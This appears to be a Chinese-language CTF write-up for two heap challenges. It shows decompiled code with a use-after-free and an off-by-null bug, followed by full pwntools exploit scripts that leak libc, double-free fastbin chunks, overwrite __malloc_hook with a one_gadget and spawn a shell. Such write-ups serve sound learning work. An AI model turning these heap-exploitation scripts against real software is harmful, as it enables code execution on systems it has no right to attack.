secret garden
很水的一道堆题 没啥好说的,主要就是uaf
int sub_DD0()
{
int result; // eax
_DWORD *v1; // rax
unsigned int v2; // [rsp+4h] [rbp-14h]
unsigned __int64 v3; // [rsp+8h] [rbp-10h]
v3 = __readfsqword(0x28u);
if ( !flower_count )
return puts("No flower in the garden");
__printf_chk(1LL, "Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v2);
if ( v2 <= 0x63 && (v1 = (_DWORD *)heaplst[v2]) != 0LL )
{
*v1 = 0;
free(*(void **)(heaplst[v2] + 8LL));
result = puts("Successful");
}
else
{
puts("Invalid choice");
result = 0;
}
return result;
}
可以看到指针没清零 注意的一点是他每次会申请两个堆块 所以要注意一下堆风水 剩下的就是很基本的fastbin attack了
from pwn import *
context.log_level = 'debug'
elf = ELF('secretgarden')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
io = process('./secretgarden')
def add(l,name,color):
io.recvuntil(':')
io.sendline('1')
io.recvuntil('name :')
io.sendline(str(l))
io.recvuntil('name of flower :')
io.sendline(name)
io.recvuntil('color of the flower :')
io.sendline(color)
def visit():
io.recvuntil(':')
io.sendline('2')
def delete_one(idx):
io.recvuntil(':')
io.sendline('3')
io.recvuntil('garden:')
io.sendline(str(idx))
def delete_all():
io.recvuntil(':')
io.sendline('4')
add(0xb0,'a'*0xb0,'green')#0
add(0x80,'a'*0x80,'red')#1
delete_one(0)
add(0x80,'a'*7,'green')#2
visit()
io.recvuntil('Name of the flower[2] :aaaaaaa\n')
leak = u64(io.recvline()[0:6].ljust(8,'\x00'))
log.success(hex(leak))
libc_base = leak - 88 -0x10 - libc.symbols['__malloc_hook']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one = 0xe9415 + libc_base
add(0x60,'a'*0x40,'purple')#3
add(0x60,'b'*0x40,'black')#4
delete_one(3)
delete_one(4)
delete_one(3)
add(0x60,p64(malloc_hook - 0x23),'white')
add(0x60,'b'*0x40,'black')
add(0x60,'b'*0x40,'black')
add(0x60,'a'*0x3+p64(one),'a')
log.success(hex(one))
gdb.attach(io)
delete_one(1)
delete_one(1)
io.interactive()
seceret of my heart
本来以为能在这道题里面找到什么骚操作 想多了,也是一道水题 漏洞就是个offbynull
_BYTE *__fastcall add_imfo(__int64 *ptr, __int64 len)
{
_BYTE *result; // rax
size_t size; // [rsp+0h] [rbp-20h]
*ptr = len;
printf("Name of heart :", len);
get_str(ptr + 1, 0x20u);
ptr[5] = malloc(size);
if ( !ptr[5] )
{
puts("Allocate Error !");
exit(0);
}
printf("secret of my heart :", 32LL);
result = (ptr[5] + get_str(ptr[5], size));
*result = 0; // offbynull
//
return result;
}
这里就是一个offbynull的利用方式,也是个套路 主要思想就是通过溢出的0字节把size缩小,然后下一次free的时候就不会改变下一个堆块的use位 剩下的没啥好说的,构造uaf,fastbinattack
from pwn import *
context.log_level = 'debug'
io = process('./secret_of_my_heart')
elf = ELF('secret_of_my_heart')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,name,content):
io.recvuntil(':')
io.sendline('1')
io.recvuntil('Size of heart :')
io.sendline(str(size))
io.recvuntil('Name of heart :')
io.sendline(name)
io.recvuntil('secret of my heart :')
io.sendline(content)
def delete(idx):
io.recvuntil(':')
io.sendline('3')
io.recvuntil('Index :')
io.sendline(str(idx))
def show(idx):
io.recvuntil(':')
io.sendline('2')
io.recvuntil('Index :')
io.sendline(str(idx))
add(0x88,'a','A'*0x80)#0
add(0x100,'b','B'*0x100)#1
add(0x80,'c','C'*0x80)#2
add(0x60,'d','D'*0x60)#3
delete(1)
delete(0)
add(0x88,'a','A'*0x88)#0
add(0x80,'e','E'*0x80)#1
add(0x60,'f','F'*0x60)#4
delete(1)
delete(2)
add(0x80,'b','B'*0x80)#1
show(4)
''''''
io.recvuntil('Secret : ')
leak = u64(io.recvline()[:6].ljust(8,'\x00'))
libc_base = leak - 88 - 0x10 - libc.symbols['__malloc_hook']
log.success('libc_base :'+hex(libc_base))
one = 0xe9415 + libc_base
mlh = libc_base + libc.symbols['__malloc_hook']
log.success('one :'+hex(one))
log.success('mlh :'+hex(mlh))
add(0x60,'h','H'*0x5f)#2 == 4
add(0x60,'g','G'*0x5f)#5
delete(4)
delete(3)
delete(2)
add(0x60,'h',p64(mlh - 0x23) + 'AAAA')#2
add(0x60,'z','z')#3
add(0x60,'y','y')#4
add(0x60,'x','x'*3 + p64(one))
gdb.attach(io)
raw_input()
delete(4)
delete(2)
io.interactive()
PREVIOUSRCTF2018部分wp
NEXTnoleak